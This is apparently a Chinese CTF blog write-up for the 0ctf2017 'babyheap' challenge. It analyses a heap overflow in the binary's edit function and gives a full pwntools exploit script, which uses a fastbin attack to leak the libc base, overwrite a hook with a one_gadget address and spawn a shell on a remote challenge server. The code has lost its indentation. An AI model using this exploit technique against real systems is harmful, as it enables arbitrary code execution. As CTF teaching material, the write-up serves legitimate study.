0ctf2017-babyheap

0ctf2017-babyheap

fastbin attack

# 0x01 程序分析

例行检查,64 位程序,保护全开

image-20220114223429901

ida 查看 main 函数,菜单题

image-20220114223706573

image-20220114230844952

sub_D48:对应 Allocate 申请内存地址用来存放结构体,申请内存用的是 calloc

image-20220114230534549

sub_E7F:对应编辑 edit,这里没有检查 size ,存在堆溢出

image-20220114232935653

sub_F50: 对应 delete,free 后指针清零不存在 UAF

image-20220114233654889

sub_1051 就是 puts 打印

# 0x02 思路

利用 fastbin attack 即 double free 的方式泄露 libc 基址,当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址,然后 fastbin attack 可以实现有限的地址写

# 0x03 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *

# p = process("./0ctf_2017_babyheap")
p=remote("node4.buuoj.cn",26060)

context.log_level = 'debug'
def allo(size):
p.recvuntil("Command: ")
p.sendline(str(1))
p.recvuntil("Size: ")
p.sendline(str(size))

def fill(idx,size,content):
p.recvuntil("Command: ")
p.sendline(str(2))
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.sendline(content)

def free(idx):
p.recvuntil("Command: ")
p.sendline(str(3))
p.recvuntil("Index: ")
p.sendline(str(idx))

def dump(idx):
p.recvuntil("Command: ")
p.sendline(str(4))
p.recvuntil("Index: ")
p.sendline(str(idx))

allo(0x10)#0
allo(0x10)#1
allo(0x10)#2
allo(0x10)#3
allo(0x80)#4

free(1)
free(2)

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21)
payload += p8(0x80)
fill(0,len(payload),payload)

payload = p64(0)*3 + p64(0x21)
fill(3,len(payload),payload)

allo(0x10)#1 The original position of 2
allo(0x10)#2 4 Simultaneous pointing

payload = p64(0)*3 + p64(0x91)
fill(3,len(payload),payload)

allo(0x80)

free(4)

dump(2)
content = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
print(hex(content))
libc_base = (content) - 0x3c4b78
print(hex(libc_base))

allo(0x60)

free(4)
payload = p64(libc_base + 0x3C4AED)
fill(2,len(payload),payload)

allo(0x60)
allo(0x60)
# gdb.attach(p)
# pause()


payload = 'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)

fill(6,len(payload),payload)

allo(79)
# gdb.attach(p)
p.interactive()

# 0x04 参考文章

https://blog.csdn.net/qq_43935969/article/details/115877748

https://www.cnblogs.com/Rookle/p/12901747.html

Author

y1seco

Posted on

2022-01-14

Updated on

2022-01-15

Licensed under

Comments

:D 一言句子获取中...